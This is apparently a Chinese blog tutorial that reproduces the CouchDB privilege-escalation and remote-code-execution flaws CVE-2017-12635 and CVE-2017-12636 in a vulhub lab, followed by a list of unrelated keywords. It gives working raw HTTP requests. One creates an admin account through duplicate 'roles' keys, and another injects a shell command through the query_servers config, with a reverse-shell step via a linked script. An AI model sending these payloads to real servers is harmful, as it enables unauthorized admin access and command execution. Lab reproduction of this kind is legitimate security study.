千家信息网

如何分析Couchdb漏洞CVE-2017-12635和CVE-2017-12636

发表于:2025-01-20 作者:千家信息网编辑
千家信息网最后更新 2025年01月20日,本篇文章为大家展示了如何分析Couchdb漏洞CVE-2017-12635和CVE-2017-12636,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。Couc
千家信息网最后更新 2025年01月20日如何分析Couchdb漏洞CVE-2017-12635和CVE-2017-12636

本篇文章为大家展示了如何分析Couchdb漏洞CVE-2017-12635和CVE-2017-12636,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。

CouchDB是一个开源的面向文档的数据库管理系统,可以通过RESTful JavaScript Object Notation(JSON)API访问。Apache CouchDB是专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。

漏洞影响版本:小于 1.7.0 以及 小于 2.1.1

一、漏洞原理

CVE-2017-12635:Erlang和JavaScript,对JSON解析方式的不同,导致语句执行产生差异性。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。

举例:Erlang:> jiffy:decode("{"a":"1", "a":"2"}").{[{<<"a">>,<<"1">>},{<<"a">>,<<"2">>}]}

JavaScript> JSON.parse("{"a":"1", "a": "2"}"){a: "2"}

Ps:在定义一对键值对时,Eralang解析器将存储两个值;javascript只存储第二个值。但jiffy实现时,getter函数只返回第一个值。

CVE-2017-12636:由于数据库自身设计原因,管理员身份可以通过HTTP(S)方式,配置数据库。在某些配置中,可设置可执行文件的路径,在数据库运行范围内执行。

CVE-2017-12635结合CVE-2017-12636可实现远程代码执行

二、准备环境

攻击机(kali):192.168.29.130

被攻击机(Ubuntu):192.168.29.141(使用vulhub搭建镜像环境)

备用机:真实机(含python3环境)

测试环境地址:https://vulhub.org/#/environments/couchdb/CVE-2017-12635/

三、环境搭建

1.下载vulhub的漏洞环境,进入对应的目录下面,使用命令sudo docker-compose buildsudo docker-compose up -d搭建镜像环境

2. 查看Ubuntu服务器(被攻击机)的IP地址(192.168.29.141)

3. 访问搭建完成以后的couchdb(该环境为2.1.0版本)http://192.168.29.141:5984/_utils/#login

四、漏洞复现

1.抓取数据包发送到重放模块,利用CVE-2017-12635漏洞创建一个管理员用户,用户名为xx,密码为:xx。Ps: 发送包含两个roles的数据包,即可绕过限制。Erlang和JavaScript,对JSON解析方式的不同,所以这样可以使当前用户赋予"_admin"身份

PUT /_users/org.couchdb.user:xx HTTP/1.1Host: 192.168.29.141:5984User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeUpgrade-Insecure-Requests: 1If-Modified-Since: Sat, 02 Dec 2017 15:49:03 GMTCache-Control: max-age=0Content-Length: 100{"type": "user","name": "xx","roles": ["_admin"],"roles": [],"password": "xx"}

2.使用刚刚注册的账户:xx,密码:xx;登陆到后端系统

3.利用CVE-2017-12636漏洞必须登录到管理员用户才能进行操作,所以说需要结合CVE-2017-12635漏洞进行利用。其中测试环境带有poc:https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py,下载poc修改目标IP以及couchdb版本信息即可实现攻击操作 4.kali攻击机开启监听443端口

5.利用第3步下载的poc文件(备用机的python3环境,也可以使用kali的python3环境)

6.会在kali攻击机上面建立会话连接,并且是root权限

7. Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name。这个其实也简单,我们带上账号密码访问/_membership即可:(也可在登陆状态下访问该链接)

GET /_membership HTTP/1.1Host: 192.168.29.141:5984User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeCookie: AuthSession=eHg6NUVGMEI4RDE6g1lmNPR5o8RIBREQUmfFXqZClJ4Upgrade-Insecure-Requests: 1If-Modified-Since: Sat, 02 Dec 2017 15:49:03 GMTCache-Control: max-age=0

8.可见,我们这里只有一个node,名字是nonode@nohost。然后,我们修改nonode@nohost的配置即可实现对服务器端写入文件:

PUT /_node/nonode@nohost/_config/query_servers/cmd HTTP/1.1Host: 192.168.29.141:5984User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeCookie: AuthSession=eHg6NUVGMTlDRjk6DPmoeDMHF5ZuRX_Py20A1EL4JvcUpgrade-Insecure-Requests: 1If-Modified-Since: Sat, 02 Dec 2017 15:49:03 GMTCache-Control: max-age=0Content-Length: 16"whoami >/1.txt"

9.根据第6步的时候建立的监听的信息,此时可查看创建的文件信息

上述内容就是如何分析Couchdb漏洞CVE-2017-12635和CVE-2017-12636,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注行业资讯频道。

漏洞 环境 数据 数据库 攻击 攻击机 用户 管理 文件 管理员 配置 信息 密码 方式 版本 存储 分析 不同 两个 内容 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 及时通报网络安全事件信息 数据库的设计步骤需求分析 软件开发设计能力 深圳服务器机柜哪个品牌好 三国杀的服务器 新华三网络安全产品解决方案 计算机网络技术哪个系好 绿盟网络安全审计主要功能 湖州网络安全论坛 我的世界服务器水突然不流了 顺义区发展软件开发售价 马鞍山工程管理软件开发公司 网站服务器ip更换 服务器租金记什么科目 云服务器搭建数据库 松江区咨询软件开发代理商 数据库更新时间索引 计算机网络技术 百度网盘 数据库表怎么加中文描述 兰州企航软件开发有限公司 软件开发多久能入门 美国上市的科技互联网公司 mysql数据库修改超时 钢铁行业日志审计服务器工作原理 沙画网络安全管理 大数据平台数据库数据迁移 软件开发工程师高大上的叫法 存储服务器总容量 网络安全讲座 对网安人才 网络技术人员交流论坛
0